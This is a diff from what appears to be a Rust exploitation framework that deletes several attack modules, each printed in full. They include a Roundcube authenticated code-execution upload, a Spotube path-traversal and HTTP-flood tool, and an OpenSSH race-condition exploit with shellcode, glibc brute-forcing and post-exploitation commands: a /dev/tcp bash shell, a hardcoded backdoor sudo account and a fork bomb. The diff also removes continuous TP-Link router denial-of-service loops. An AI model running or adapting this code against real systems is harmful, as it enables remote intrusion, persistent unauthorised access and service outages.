const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_nanos()
.to_string();
format!("{:x}", md5::compute([rand_bytes.as_slice(), timestamp.as_bytes()].concat()))
}
fn generate_uploadid() -> String {
let millis = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
.as_millis();
format!("upload{}", millis)
}
async fn fetch_login_page(client: &Client, base: &str) -> Result<String> {
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let res = client.get(url).send().await.map_err(|e| anyhow!("HTTP error: {e}"))?;
if res.status() != 200 {
return Err(anyhow!("Unexpected HTTP status: {}", res.status()));
}
Ok(res.text().await?)
}
async fn fetch_csrf_token(client: &Client, base: &str) -> Result<String> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"<input[^>]*name="_token"[^>]*value="([^"]+)""#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].to_string())
} else {
Err(anyhow!("CSRF token not found"))
}
}
async fn check_version(client: &Client, base: &str) -> Result<Option<u32>> {
let body = fetch_login_page(client, base).await?;
let re = Regex::new(r#"\"rcversion\"\s*:\s*(\d+)"#)?;
if let Some(cap) = re.captures(&body) {
Ok(cap[1].parse().ok())
} else {
Ok(None)
}
}
async fn login(client: &Client, base: &str, username: &str, password: &str, host: &str) -> Result<()> {
let token = fetch_csrf_token(client, base).await?;
let mut url = reqwest::Url::parse(base)?;
url.query_pairs_mut().append_pair("_task", "login");
let mut params = vec![
("_token", token),
("_task", "login".to_string()),
("_action", "login".to_string()),
("_url", "_task=login".to_string()),
("_user", username.to_string()),
("_pass", password.to_string()),
];
if !host.is_empty() {
params.push(("_host", host.to_string()));
}
let res = client
.post(url)
.form(&params)
.send()
.await
.map_err(|e| anyhow!("Login request failed: {e}"))?;
if res.status() != 302 {
return Err(anyhow!("Login failed: HTTP {}", res.status()));
}
Ok(())
}
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
let mut body = Vec::new();
body.extend_from_slice(format!("--{}\r\n", boundary).as_bytes());
body.extend_from_slice(format!("Content-Disposition: form-data; name=\"_file[]\"; filename=\"{}\"\r\n", filename).as_bytes());
body.extend_from_slice(b"Content-Type: image/png\r\n\r\n");
body.extend_from_slice(&png);
body.extend_from_slice(format!("\r\n--{}--\r\n", boundary).as_bytes());
let mut url = reqwest::Url::parse(base)?;
url.set_query(None);
url.query_pairs_mut()
.append_pair("_task", "settings")
.append_pair("_remote", "1")
.append_pair("_from", &format!("edit-!{}", generate_from()))
.append_pair("_id", &generate_id())
.append_pair("_uploadid", &generate_uploadid())
.append_pair("_action", "upload");
client
.post(url)
.header("Content-Type", format!("multipart/form-data; boundary={}", boundary))
.body(body)
.send()
.await
.map_err(|e| anyhow!("Upload request failed: {e}"))?;
println!("[+] Exploit attempt complete. Check your listener or reverse shell.");
Ok(())
}
/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
base_url = format!("http://{}", base_url);
}
base_url = base_url.trim_end_matches('/').to_string();
// // HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
.redirect(Policy::none())
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(10))
.build()?;
if let Some(ver) = check_version(&client, &base_url).await? {
println!("[*] Detected Roundcube version: {}", ver);
if (10100..=10509).contains(&ver) || (10600..=10610).contains(&ver) {
println!("[!] Version appears vulnerable!");
} else {
println!("[-] Version not in known vulnerable range.");
}
} else {
println!("[?] Could not determine version.");
}
let mut username = String::new();
let mut password = String::new();
let mut host = String::new();
let mut command = String::new();
print!("Username: ");
io::stdout().flush()?;
io::stdin().read_line(&mut username)?;
print!("Password: ");
io::stdout().flush()?;
io::stdin().read_line(&mut password)?;
print!("Host parameter (optional): ");
io::stdout().flush()?;
io::stdin().read_line(&mut host)?;
print!("Command to execute: ");
io::stdout().flush()?;
io::stdin().read_line(&mut command)?;
let username = username.trim();
let password = password.trim();
let host = host.trim();
let command = command.trim();
if username.is_empty() || password.is_empty() || command.is_empty() {
return Err(anyhow!("Username, password and command must be provided"));
}
login(&client, &base_url, username, password, host).await?;
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
-23
View File
@@ -1,23 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A basic demonstration exploit that checks if a specific endpoint is "vulnerable"
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_exploit against target: {}", target);
let url = format!("http://{}/vulnerable_endpoint", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?
.text()
.await
.context("Failed to read response")?;
if resp.contains("Vulnerable!") {
println!("[+] Target is vulnerable!");
} else {
println!("[-] Target does not appear to be vulnerable.");
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod spotube;
-232
View File
@@ -1,232 +0,0 @@
//// src/modules/exploits/spotube/spotube_remote.rs
//// src/modules/exploits/spotube/spotube.rs
//// made by me suicidal teddy my first ever zero day exploit
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
use std::collections::HashMap;
use std::io::{self, Write};
use tokio::time::{sleep, Duration};
use tokio_tungstenite::connect_async;
use tokio_tungstenite::tungstenite::Message;
// //// // Custom headers to emulate BurpSuite-style browser requests
fn browser_headers(host: &str, port: &str) -> HashMap<String, String> {
let mut headers = HashMap::new();
headers.insert("Accept-Language".into(), "en-US,en;q=0.9".into());
headers.insert("Upgrade-Insecure-Requests".into(), "1".into());
headers.insert(
"User-Agent".into(),
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 \
(KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"
.into(),
);
headers.insert(
"Accept".into(),
"text/html,application/xhtml+xml,application/xml;q=0.9,\
image/avif,image/webp,image/apng,*/*;q=0.8,\
application/signed-exchange;v=b3;q=0.7"
.into(),
);
headers.insert("Accept-Encoding".into(), "gzip, deflate, br".into());
headers.insert("Connection".into(), "keep-alive".into());
headers.insert("Host".into(), format!("{}:{}", host, port));
headers
}
// //// // Sends the GET request to the Spotube endpoint with custom headers
async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()
.context("Failed to build HTTP client")?;
let url = format!("http://{}:{}{}", host, port, path);
let headers = browser_headers(host, port);
let mut request = client.get(&url);
for (key, value) in headers {
request = request.header(&key, &value);
}
let response = request.send().await.context("Request failed")?;
let status = response.status();
let body = response.text().await.unwrap_or_default();
println!(
"{} → {} {}",
path,
status.as_u16(),
status.canonical_reason().unwrap_or("Unknown")
);
println!("{}", body.trim());
Ok(())
}
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
let malicious_name = {
let t = name.trim();
if t.is_empty() { "../evil.sh" } else { t }
};
// prompt for fake track ID
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
let track_id = {
let t = tid.trim();
if t.is_empty() { "INJECT1" } else { t }
};
// prompt for codec extension
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
let codec = {
let t = cd.trim();
if t.is_empty() { "mp3" } else { t }
};
let payload = json!({
"type": "load",
"data": {
"tracks": [
{
"name": malicious_name,
"artists": { "asString": "" },
"sourceInfo": { "id": track_id },
"codec": { "name": codec }
}
]
}
});
let ws_url = format!("ws://{}:{}/ws", host, port);
println!("Connecting to {}", ws_url);
let (ws_stream, _) = connect_async(&ws_url)
.await
.context("WebSocket connection failed")?;
let (mut write, _) = ws_stream.split();
let msg_text = payload.to_string();
write
.send(Message::Text(msg_text.clone().into()))
.await
.context("Failed to send WebSocket message")?;
println!("▶️ Malicious load payload sent:");
println!("{}", serde_json::to_string_pretty(&payload)?);
Ok(())
}
// //// // Floods the given endpoint with `count` rapid requests (with optional delay).
async fn dos_flood(host: &str, port: &str, path: &str, count: usize, delay: f64) -> Result<()> {
println!("⚠️ Flooding {} {} times (delay {}s)…", path, count, delay);
for _ in 0..count {
let _ = execute(host, port, path).await;
if delay > 0.0 {
sleep(Duration::from_secs_f64(delay)).await;
}
}
println!("🔥 Done flood.");
Ok(())
}
// //// // CLI menu that mimics the original Python script, now with WS and DoS
pub async fn run(target: &str) -> Result<()> {
println!("⚙️ Spotube Advanced Exploit CLI\n");
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("{}", "Enter port [17086]: ".cyan().bold());
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
let port = {
let t = p.trim();
if t.is_empty() { "17086".to_string() } else { t.to_string() }
};
loop {
println!("\n=== Menu ===");
println!("1. Ping server");
println!("2. Next track");
println!("3. Previous track");
println!("4. Toggle play/pause");
println!("5. Inject path-traversal via WS");
println!("6. Flood HTTP endpoint (DoS)");
println!("7. Exit");
print!("Choose an option: ");
io::stdout().flush()?;
let mut choice = String::new();
io::stdin().read_line(&mut choice)?;
match choice.trim() {
"1" => {
println!("\n▶️ Ping server …");
let _ = execute(&host, &port, "/ping").await;
}
"2" => {
println!("\n▶️ Next track …");
let _ = execute(&host, &port, "/playback/next").await;
}
"3" => {
println!("\n▶️ Previous track …");
let _ = execute(&host, &port, "/playback/previous").await;
}
"4" => {
println!("\n▶️ Toggle play/pause …");
let _ = execute(&host, &port, "/playback/toggle-playback").await;
}
"5" => {
ws_inject_path_traversal(&host, &port).await?;
}
"6" => {
// //// // flood prompts
print!("Endpoint to flood (e.g. /playback/next): ");
io::stdout().flush()?;
let mut path = String::new();
io::stdin().read_line(&mut path)?;
let path = path.trim();
print!("Number of requests [100]: ");
io::stdout().flush()?;
let mut cnt = String::new();
io::stdin().read_line(&mut cnt)?;
let count = cnt.trim().parse().unwrap_or(100);
print!("Delay between requests (s) [0]: ");
io::stdout().flush()?;
let mut dly = String::new();
io::stdin().read_line(&mut dly)?;
let delay = dly.trim().parse().unwrap_or(0.0);
dos_flood(&host, &port, path, count, delay).await?;
}
"7" => {
println!("👋 Goodbye!");
break;
}
_ => println!("❌ Invalid choice, try again."),
}
}
Ok(())
}
-1
View File
@@ -1 +0,0 @@
pub mod opensshserver_9_8p1race_condition;
@@ -1,435 +0,0 @@
use std::io::{self, ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, timeout, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
const MAX_PACKET_SIZE: usize = 256 * 1024;
const LOGIN_GRACE_TIME: f64 = 120.0;
const CHUNK_ALIGN: usize = 16;
const CONCURRENCY: usize = 256;
const GLIBC_BASE_START: u64 = 0x7ffff79e4000;
const GLIBC_BASE_END: u64 = 0x7ffff7ffe000;
const GLIBC_STEP: u64 = 0x200000;
const FAKE_VTABLE_OFFSET: u64 = 0x21b740;
const FAKE_CODECVT_OFFSET: u64 = 0x21d7f8;
const SHELLCODE: &[u8] = b"\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xc0\x50\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05";
const BIND_SHELL_PORT: u16 = 55555;
const PERSISTENT_USER: &str = "aptpwn";
const PERSISTENT_PASS: &str = "Root4life!";
fn chunk_align(s: usize) -> usize {
(s + CHUNK_ALIGN - 1) & !(CHUNK_ALIGN - 1)
}
fn create_fake_file_structure(buf: &mut [u8], glibc_base: u64) {
buf.fill(0);
let len = buf.len();
if len >= 16 {
buf[len - 16..len - 8].copy_from_slice(&(glibc_base + FAKE_VTABLE_OFFSET).to_le_bytes());
buf[len - 8..len].copy_from_slice(&(glibc_base + FAKE_CODECVT_OFFSET).to_le_bytes());
}
if len > 0x30 + 8 {
buf[0x30..0x30 + 8].copy_from_slice(&0x61u64.to_le_bytes());
}
}
fn create_public_key_packet(packet: &mut [u8], glibc_base: u64) {
packet.fill(0);
packet[..8].copy_from_slice(b"ssh-rsa ");
let shell_offset = chunk_align(4096) * 13 + chunk_align(304) * 13;
if shell_offset + SHELLCODE.len() <= packet.len() {
packet[shell_offset..shell_offset + SHELLCODE.len()].copy_from_slice(SHELLCODE);
}
for i in 0..27 {
let pos = chunk_align(4096) * (i + 1) + chunk_align(304) * i;
if pos + chunk_align(304) <= packet.len() {
create_fake_file_structure(&mut packet[pos..pos + chunk_align(304)], glibc_base);
}
}
}
async fn send_packet(stream: &mut TcpStream, packet_type: u8, data: &[u8]) -> Result<()> {
let len = data.len() + 5;
let mut packet_data = vec![0u8; len];
packet_data[0..4].copy_from_slice(&(len as u32).to_be_bytes());
packet_data[4] = packet_type;
packet_data[5..].copy_from_slice(data);
stream.write_all(&packet_data).await?;
Ok(())
}
fn normalize_target(ip: &str, port: u16) -> Result<String> {
let ip_trimmed = ip.trim_matches(|c| c == '[' || c == ']');
if ip_trimmed.contains(':') && !ip_trimmed.contains('.') {
Ok(format!("[{}]:{}", ip_trimmed, port))
} else {
Ok(format!("{}:{}", ip_trimmed, port))
}
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
let reader = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match rd.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if stdout.write_all(&buf[..n]).await.is_err() { break; }
if stdout.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let writer = tokio::spawn(async move {
let mut buf = [0u8; 4096];
loop {
match stdin.read(&mut buf).await {
Ok(0) => break,
Ok(n) => {
if wr.write_all(&buf[..n]).await.is_err() { break; }
if wr.flush().await.is_err() { break; }
}
Err(_) => break,
}
}
});
let _ = tokio::try_join!(reader, writer);
println!("{}", "[*] Shell session ended.".yellow());
Ok(())
}
async fn setup_connection(ip: &str, port: u16) -> Result<TcpStream> {
let addr = normalize_target(ip, port)?;
let stream = TcpStream::connect(&addr).await.with_context(|| format!("Failed to connect to {}", addr))?;
Ok(stream)
}
async fn send_ssh_version(stream: &mut TcpStream) -> Result<()> {
stream.write_all(b"SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1\r\n").await?;
Ok(())
}
async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
continue;
}
Err(e) => return Err(e.into()),
}
}
}
async fn receive_ssh_version(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 256];
recv_retry(stream, &mut buffer).await.context("Failed to receive SSH version")?;
Ok(())
}
async fn send_kex_init(stream: &mut TcpStream) -> Result<()> {
let payload = vec![0u8; 36];
send_packet(stream, 20, &payload).await.context("Failed to send KEX_INIT")
}
async fn receive_kex_init(stream: &mut TcpStream) -> Result<()> {
let mut buffer = [0u8; 1024];
recv_retry(stream, &mut buffer).await.context("Failed to receive KEX_INIT")?;
Ok(())
}
async fn perform_ssh_handshake(stream: &mut TcpStream) -> Result<()> {
send_ssh_version(stream).await.context("Handshake: send_ssh_version failed")?;
receive_ssh_version(stream).await.context("Handshake: receive_ssh_version failed")?;
send_kex_init(stream).await.context("Handshake: send_kex_init failed")?;
receive_kex_init(stream).await.context("Handshake: receive_kex_init failed")?;
Ok(())
}
async fn prepare_heap(stream: &mut TcpStream, glibc_base: u64) -> Result<()> {
for i in 0..10 {
let tcache_chunk = vec![b'A'; 64];
send_packet(stream, 5, &tcache_chunk).await.with_context(|| format!("Prepare heap: tcache_chunk {}", i))?;
}
for i in 0..27 {
let large_hole = vec![b'B'; 8192];
let small_hole = vec![b'C'; 320];
send_packet(stream, 5, &large_hole).await.with_context(|| format!("Prepare heap: large_hole {}", i))?;
send_packet(stream, 5, &small_hole).await.with_context(|| format!("Prepare heap: small_hole {}", i))?;
}
for i in 0..27 {
let mut fake = vec![0u8; 4096];
create_fake_file_structure(&mut fake, glibc_base);
send_packet(stream, 5, &fake).await.with_context(|| format!("Prepare heap: fake_file_structure {}", i))?;
}
let large_fill = vec![b'E'; MAX_PACKET_SIZE - 1];
send_packet(stream, 5, &large_fill).await.context("Prepare heap: large_fill")?;
Ok(())
}
async fn measure_response_time(stream: &mut TcpStream, error_type: u8) -> Result<f64> {
let error_packet_data = if error_type == 1 {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC3".to_vec()
} else {
b"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDZy9".to_vec()
};
let start = Instant::now();
send_packet(stream, 50, &error_packet_data).await?;
let mut buf = [0u8; 1024];
let _ = stream.read(&mut buf).await;
Ok(start.elapsed().as_secs_f64())
}
async fn time_final_packet(stream: &mut TcpStream) -> Result<f64> {
let t1 = measure_response_time(stream, 1).await.context("Measuring time for packet 1")?;
let t2 = measure_response_time(stream, 2).await.context("Measuring time for packet 2")?;
Ok(t2 - t1)
}
async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_base: u64) -> Result<bool> {
let mut public_key_packet_data = vec![0u8; MAX_PACKET_SIZE];
create_public_key_packet(&mut public_key_packet_data, glibc_base);
stream.write_all(&public_key_packet_data[..public_key_packet_data.len() - 1]).await?;
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
}
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
Ok(Ok(0)) => Ok(true),
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true), // Timeout might indicate success
}
}
fn print_post_actions() {
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
}
fn get_postex_command(action: u8) -> String {
match action {
1 => format!(
"nohup bash -c 'bash -i >& /dev/tcp/0.0.0.0/{}/0 2>&1 &'",
BIND_SHELL_PORT
),
2 => format!(
"useradd -m -p $(openssl passwd -1 '{}') {} && usermod -aG sudo {}",
PERSISTENT_PASS, PERSISTENT_USER, PERSISTENT_USER
),
3 => ":(){ :|:& };:".to_string(),
4 => "exec /bin/bash -i".to_string(),
_ => "".to_string(),
}
}
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
print_post_actions();
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
let mode_choice: u8 = choice_str.trim().parse().unwrap_or(4);
let num_attempts_per_base: usize;
loop {
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
match attempts_str.trim().parse::<usize>() {
Ok(num) if num > 0 => {
num_attempts_per_base = num;
break;
}
_ => {
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
let postex_cmd = get_postex_command(mode_choice);
let semaphore = Arc::new(Semaphore::new(CONCURRENCY));
let mut tasks: FuturesUnordered<tokio::task::JoinHandle<anyhow::Result<bool>>> = FuturesUnordered::new();
let mut glibc_bases = vec![];
let mut current_base = GLIBC_BASE_START;
while current_base < GLIBC_BASE_END {
glibc_bases.push(current_base);
current_base += GLIBC_STEP;
}
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
for attempt_num in 0..num_attempts_per_base {
let ip_clone = target_ip.clone();
let sem_clone = semaphore.clone();
let cmd_clone = postex_cmd.clone();
let permit = sem_clone.acquire_owned().await.context("Failed to acquire semaphore permit")?;
tasks.push(tokio::spawn(async move {
let _permit = permit;
let mut stream = match setup_connection(&ip_clone, port_num).await {
Ok(s) => s,
Err(_e) => {
return Ok(false);
}
};
if let Err(_e) = perform_ssh_handshake(&mut stream).await {
return Ok(false);
}
if let Err(_e) = prepare_heap(&mut stream, glibc_base_addr).await {
return Ok(false);
}
let parsing_time = match time_final_packet(&mut stream).await {
Ok(pt) => pt,
Err(_e) => {
return Ok(false);
}
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
}
match mode_choice {
1 => {
println!("[*] Attempting to connect to bind shell on port {}...", BIND_SHELL_PORT);
let bind_shell_target_addr = format!("{}:{}", ip_clone, BIND_SHELL_PORT);
sleep(Duration::from_secs(2)).await;
match TcpStream::connect(&bind_shell_target_addr).await {
Ok(conn_stream) => {
if let Err(e) = handle_bind_shell_session(conn_stream).await {
println!("[!] Bind shell session error: {}", e);
}
}
Err(e) => {
println!("[!] Could not connect to bind shell at {}: {}", bind_shell_target_addr, e);
println!("[!] If firewall blocks remote connects, try post-ex #2 or #4.");
}
}
}
2 => {
println!("[*] Verifying if user '{}' exists. Try SSH: ssh {}@{}", PERSISTENT_USER, PERSISTENT_USER, ip_clone);
println!("[*] Password: {}", PERSISTENT_PASS);
println!("(Manual check required. If login works, exploit succeeded!)");
}
3 => {
println!("[!] Fork bomb sent. Target likely crashed or hung (manual verification needed).");
}
4 => {
println!("[*] Interactive PTY shell requested. The shellcode attempts to spawn /bin/sh.");
println!("[*] If successful, the SSH session might drop or provide a new prompt.");
println!("Manual attach might be possible via existing connection if it didn't drop, or check netcat.");
}
_ => {
println!("[*] Post-ex action unknown/unsupported. Check exploit results manually.");
}
}
return Ok(true);
}
Ok(false)
}));
}
}
let mut success_found = false;
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
if mode_choice == 1 {
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
}
success_found = true;
break;
}
Ok(Ok(false)) => { }
Ok(Err(e)) => eprintln!("[!] Task error (internal logic error): {}", e),
Err(e) => eprintln!("[!] Task join error: {}", e),
}
}
if !success_found {
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
}
Ok(())
}
pub async fn run(target_info: &str) -> anyhow::Result<()> {
if target_info.is_empty() {
bail!("Target IP address/hostname cannot be empty.");
}
if target_info.contains(':') {
bail!("Invalid target format. Expected IP address or hostname, got '{}'. Port will be asked separately.", target_info);
}
let ip_address = target_info.to_string();
let port_num: u16;
loop {
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut port_input = String::new();
io::stdin().read_line(&mut port_input).context("Failed to read port from stdin")?;
match port_input.trim().parse::<u16>() {
Ok(port) if port > 0 => {
port_num = port;
break;
}
Ok(_) => {
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
}
Err(_) => {
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
}
}
}
execute_exploit_logic(ip_address, port_num).await
}
-2
View File
@@ -1,2 +0,0 @@
pub mod tp_link_vn020_dos;
pub mod tplink_wr740n_dos;
@@ -1,132 +0,0 @@
// CVE-2024-12342 - TP-Link VN020 F3v(T) - Denial of Service
// Exploit Author: Mohamed Maatallah
// Ported to Rust
use anyhow::{Context, Result};
use reqwest::Client;
use std::io::{self, BufRead};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::thread;
use std::time::Duration;
use tokio::join;
/// Normalize IPv6/IPv4/hostname and fix extra brackets
fn normalize_target_host(raw: &str) -> String {
// Remove outer brackets if any, then reapply correctly for IPv6
let stripped = raw.trim_matches(|c| c == '[' || c == ']');
if stripped.contains(':') {
format!("[{stripped}]")
} else {
stripped.to_string()
}
}
/// Send the malformed AddPortMapping SOAP request (PoC 1)
async fn dos_missing_parameters(client: &Client, target: &str) -> Result<()> {
// Missing parameters PoC - will crash the router
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:AddPortMapping>
<NewPortMappingDescription>hello</NewPortMappingDescription>
</u:AddPortMapping>
</s:Body>
</s:Envelope>"#;
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 1 (Missing Parameters)")?;
println!("[+] PoC 1 sent. Status: {}", res.status());
Ok(())
}
/// Send the memory corruption SetConnectionType SOAP request (PoC 2)
async fn dos_memory_corruption(client: &Client, target: &str) -> Result<()> {
// Memory corruption PoC using format string overflow
let long_payload = "%x".repeat(10_000);
let url = format!("http://{target}:5431/control/WANIPConnection");
let body = format!(
r#"<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:SetConnectionType xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<NewConnectionType>{}</NewConnectionType>
</u:SetConnectionType>
</s:Body>
</s:Envelope>"#,
long_payload
);
let res = client
.post(&url)
.header("Content-Type", "text/xml")
.header("SOAPAction", "\"urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\"")
.body(body)
.send()
.await
.context("Failed to send DoS request 2 (Memory Corruption)")?;
println!("[+] PoC 2 sent. Status: {}", res.status());
Ok(())
}
/// Entry point for the exploit module
pub async fn run(raw_target: &str) -> Result<()> {
// Normalize target
let target = normalize_target_host(raw_target);
// Create HTTP client with insecure certs accepted and 5s timeout
let client = Client::builder()
.timeout(Duration::from_secs(5))
.danger_accept_invalid_certs(true)
.build()
.context("Failed to build HTTP client")?;
println!("[*] TP-Link VN020-F3v(T) DoS Exploit Running...");
println!("[!] This module will not delay or stop unless you type 'stop' and press ENTER.");
let stop_flag = Arc::new(AtomicBool::new(false));
let stop_flag_clone = Arc::clone(&stop_flag);
// Monitor stdin for "stop" command
thread::spawn(move || {
let stdin = io::stdin();
for line in stdin.lock().lines() {
if let Ok(input) = line {
if input.trim().eq_ignore_ascii_case("stop") {
stop_flag_clone.store(true, Ordering::Relaxed);
println!("[*] Stopping attack...");
break;
}
}
}
});
// Continuous dual PoC attack until user stops
while !stop_flag.load(Ordering::Relaxed) {
let (r1, r2) = join!(
dos_missing_parameters(&client, &target),
dos_memory_corruption(&client, &target)
);
if let Err(e) = r1 {
eprintln!("[!] Error during PoC 1: {e}");
}
if let Err(e) = r2 {
eprintln!("[!] Error during PoC 2: {e}");
}
}
println!("[+] Exploit session ended.");
Ok(())
}
@@ -1,114 +0,0 @@
// Exploit Title: TP-Link TL-WR740N - Buffer Overflow 'DOS'
// Date: 8/12/2023
// Exploit Author: Anish Feroz (ZEROXINN)
// Vendor Homepage: http://www.tp-link.com
// Version: TP-Link TL-WR740n 3.12.11 Build 110915 Rel.40896n
// Tested on: TP-Link TL-WR740N
// Description:
// There exists a buffer overflow vulnerability in TP-Link TL-WR740 router
// that can allow an attacker to crash the web server running on the router
// by sending a crafted request. To bring back the http (webserver),
